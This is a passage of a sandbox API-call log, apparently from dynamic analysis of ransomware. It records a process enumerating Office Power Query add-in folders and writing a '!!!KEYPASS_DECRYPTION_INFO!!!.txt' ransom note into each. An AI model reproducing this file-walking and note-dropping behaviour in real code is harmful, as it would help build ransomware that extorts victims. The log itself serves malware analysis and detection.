Integrated\\bin\\mi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mi\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2efa248, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.828] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.Edm.NetFX35.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.OData.NetFX35.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.OData.Query.NetFX35.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.828] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Data.SapClient.dll") returned=".dll" [0247.828] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.DataIntegration.TransformDataByExample.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Exchange.WebServices.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.HostIntegration.Connectors.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.AddinTelemetry.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.EditorRibbon.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.Extensions.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Excel.Themes.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Initialization.dll") returned=".dll" [0247.829] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Models.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Packaging.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.UI.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Client.Windows.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.exe") returned=".exe" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX40.exe") returned=".exe" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Container.NetFX45.exe") returned=".exe" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Document.XmlSerializers.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.DocumentServices.dll") returned=".dll" [0247.830] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.EventSource.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.InternalLibrary.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.OAuth.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.OleDbInterop.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.OleDbProvider.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.ProviderShared.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.SapBwProvider.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.ScriptDom.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Shims.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Mashup.Storage.XmlSerializers.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.MashupEngine.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.OData.Core.NetFX35.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.OData.Core.NetFX35.V7.dll") returned=".dll" [0247.831] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.831] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.OData.Edm.NetFX35.dll") returned=".dll" [0247.832] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.OData.Edm.NetFX35.V7.dll") returned=".dll" [0247.843] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Office.Interop.Excel.dll") returned=".dll" [0247.843] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Office.Interop.Outlook.dll") returned=".dll" [0247.843] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.PowerBI.AdomdClient.dll") returned=".dll" [0247.843] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Practices.Unity.dll") returned=".dll" [0247.843] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.843] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Spatial.NetFX35.dll") returned=".dll" [0247.844] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.Spatial.NetFX35.V7.dll") returned=".dll" [0247.844] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.844] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Microsoft.WindowsAzure.StorageClient.dll") returned=".dll" [0247.844] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.844] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.844] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.844] GetLastError () returned 0x3f0 [0247.844] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.844] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\mk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ec [0247.930] GetFileType (hFile=0x6ec) returned 0x1 [0247.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.931] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.931] WriteFile (in: hFile=0x6ec, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.931] WriteFile (in: hFile=0x6ec, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.932] CloseHandle (hObject=0x6ec) returned 1 [0247.932] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9ec8 [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.932] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\mk\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.932] FindNextFileW (in: hFindFile=0x2ef9ec8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.932] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.933] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.933] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.933] GetLastError () returned 0x3f0 [0247.933] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.933] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ml\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6fc [0247.966] GetFileType (hFile=0x6fc) returned 0x1 [0247.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.966] WriteFile (in: hFile=0x6fc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.967] WriteFile (in: hFile=0x6fc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.967] CloseHandle (hObject=0x6fc) returned 1 [0247.967] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9cc8 [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.967] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.967] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.968] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.968] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.968] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ml\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.968] FindNextFileW (in: hFindFile=0x2ef9cc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.968] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 